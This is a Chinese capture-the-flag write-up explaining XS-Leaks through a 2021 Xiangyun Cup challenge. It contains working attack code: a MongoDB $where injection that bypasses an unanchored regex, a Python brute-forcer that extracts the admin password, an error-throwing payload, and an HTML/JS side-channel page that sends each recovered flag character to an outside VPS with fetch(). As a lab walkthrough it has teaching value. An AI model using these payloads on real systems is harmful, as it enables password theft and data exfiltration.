XS-Leaks
参考:浅谈XS-Leaks之Timeless timing attck-先知社区
Cross-site leaks(又名 XS-Leaks、XSLeaks)是一类源自 Web 平台内置的侧通道的漏洞。他们利用网络的可组合性核心原则,允许网站相互交互,并滥用合法机制来推断有关用户的信息。
利用原理和使用条件
设想网站存在一个模糊查找功能(若前缀匹配则返回对应结果)例如 http://localhost/search?query=
,页面是存在 xss 漏洞,并且有一个类似 flag 的字符串,并且只有不同用户查询的结果集不同。这时你可能会尝试 csrf,但是由于网站正确配置了 CORS,导致无法通过 xss 结合 csrf 获取到具体的响应。这个时候就可以尝试 XS-Leaks。虽然无法获取响应的内容,但是是否查找成功可以通过一些侧信道来判断。
这些侧信道的来源通常有以下几类:
- 浏览器的 api (e.g. Frame Counting and Timing Attacks)
- 浏览器的实现细节和 bugs (e.g. Connection Pooling and typeMustMatch)
- 硬件 bugs (e.g. Speculative Execution Attacks 4)
一般来说,想要成功利用,需要网页具有模糊查找功能,可以构成二元结果(成功或失败),并且二元之间的差异性可以通过某种侧信道技术探测到。
补充一下,侧信道(Side Channel Attck)攻击主要是通过利用非预期的信息泄露来间接窃取信息。
可以和 csrf POST 型一样触发,需要诱使受害者触发执行 js 代码。所以特定功能数据包必须没有类似 csrf token 的保护等。
[2021祥云杯]Package Manager 2021
给了源码,是typescript
schema.ts看到用mongoose

mongodb数据库
index.ts里面有/auth路由
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
|
router.post('/auth', async (req, res) => {
let { token } = req.body;
if (token !== '' && typeof (token) === 'string') {
if (checkmd5Regex(token)) {
try {
let docs = await User.$where(`this.username == "admin" && hex_md5(this.password) == "${token.toString()}"`).exec()
console.log(docs);
if (docs.length == 1) {
if (!(docs[0].isAdmin === true)) {
return res.render('auth', { error: 'Failed to auth' })
}
} else {
return res.render('auth', { error: 'No matching results' })
}
} catch (err) {
return res.render('auth', { error: err })
}
} else {
return res.render('auth', { error: 'Token must be valid md5 string' })
}
} else {
return res.render('auth', { error: 'Parameters error' })
}
req.session.AccessGranted = true
res.redirect('/packages/submit')
});
|
这里的token在传入时要经过checkmd5Regex
函数的检测
跟进这个函数
1
2
3
|
const checkmd5Regex = (token: string) => {
return /([a-f\d]{32}|[A-F\d]{32})/.exec(token);
}
|
在正则匹配的时候,没有用^$
匹配头部或者尾部,所以存在绕过
只需要在token的前面放上一串32长度的字符串aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
,就可以满足这个匹配
脚本爆破admin的密码
如果正确会回显Found. Redirecting to

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
|
import requests
import string
url = "http://b47e38bd-751d-44a9-8629-c25151125644.node5.buuoj.cn:81/auth"
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:137.0) Gecko/20100101 Firefox/137.0",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
"Referer": "http://b47e38bd-751d-44a9-8629-c25151125644.node5.buuoj.cn:81/auth",
"Accept-Encoding": "gzip, deflate, br",
"Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
"Cookie": "session=s%3AEDffTwh57Qdn0PFrbBrxmP-3rfP1Uo2e.%2F4B6bY%2BkbfAS19XbckzaWvBEc5eVktXrQ8y74ZC%2Fhd4",
"Upgrade-Insecure-Requests": "1",
}
flag = ''
for i in range(100):
print(i)
for j in string.printable:
data = {
"_csrf":"h5kKpCkK-Bh_zLDHUSBL6Smc4aM-8d6UwaR4",
"token":'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"||this.password[{}]=="{}'.format(i,j),
}
# print(data)
r = requests.post(url = url ,headers= headers,data=data,allow_redirects=False)
if "Found. Redirecting to" in r.text:
flag = flag+j
print(flag)
break
# print(string.printable)
# 0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!"#$%&'()*+,-./:;<=>?@[\]^_`{|}~
|
爆出密码是!@#&@&@efefef*@((@))grgregret3r
另一种解法用js抛出异常带出密码
payload
1
|
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"||(()=>{throw Error(this.password)})()=="
|
(()=>{...})
定义了一个匿名箭头函数
{throw Error(this.password)}
函数体中使用throw Error抛出错误,并将password作为错误消息
()
表示立即执行这个匿名函数

第三种办法就是用xsleaks了
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
|
router.get('/list', async (req, res, next) => {
const packs = await Package.find({ user_id: req.session.userId });
if (packs.length == 0) {
return res.redirect('/packages');
}
let { search } = req.query;
if (search) {
try {
let description = search;
let name = search;
if (typeof description === 'string') {
description = { description };
}
if (typeof name === 'string') {
name = { name };
}
const packs = await Package.find({
user_id: req.session.userId,
$or: [name, description],
});
if (packs.length == 0) {
return next(createError(404));
}
return res.render('packages', { packs });
} catch (err) {
return next(createError(500))
}
}
return res.render('packages', { packs });
});
|
这里package/list
有search的功能,发现虽然可以实现 search 的功能,但是并不能按照内容正则匹配搜出来
这里 search 参数可以是对象。而对于后端 mongodb 来说,我们是能利用{$regex: 'xxx'}
这样的查询进行正则搜索的。故访问 packages/list?search[description][$regex]=^f
就可以进行正则查询 desscription 了。这样就符合 xsleak 的思路了。
而具体 leak 的方法。我们使用object
标签。它能在火狐环境下做到,如果object.data
访问状态码 200,就会触发 onload 事件。如果访问状态码 404,就会触发 onerror 事件。我们根据这个差异性,就能利用 search 注出 flag 内容了。
用vps接收
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
|
<html>
<script>
const VPS_IP = 'http://120.27.246.202/'
const chars = "0123456789abcdefghijklmnopqrstuvwxyz-{}";
const escape = (c) => {
return c.replace(/[.*+?^=!:${}()|[\]\/\\]/g, '\\$&');
}
const oracle = async (url) => {
return new Promise((resolve, reject) => {
const object = document.createElement("object");
object.data = url;
object.onload = resolve;
object.onerror = reject;
document.head.appendChild(object);
});
}
const search = async (url) => {
try {
await oracle(url)
return true;
} catch (e) {
return false;
}
}
(async () => {
let flag = '';
let url = `http://localhost:8000/packages/list?search[description][$regex]=^${flag}`
while (flag.charAt(flag.length - 1) !== "}") {
for ( let i of chars ) {
if ( await(search(url + escape(i))) ) {
url = url + escape(i)
flag += i
await fetch(`${VPS_IP}/?flag=${flag}`, {mode: 'no-cors'})
break;
} else {
console.log('failed');
}
}
}
})();
</script>
</html>
|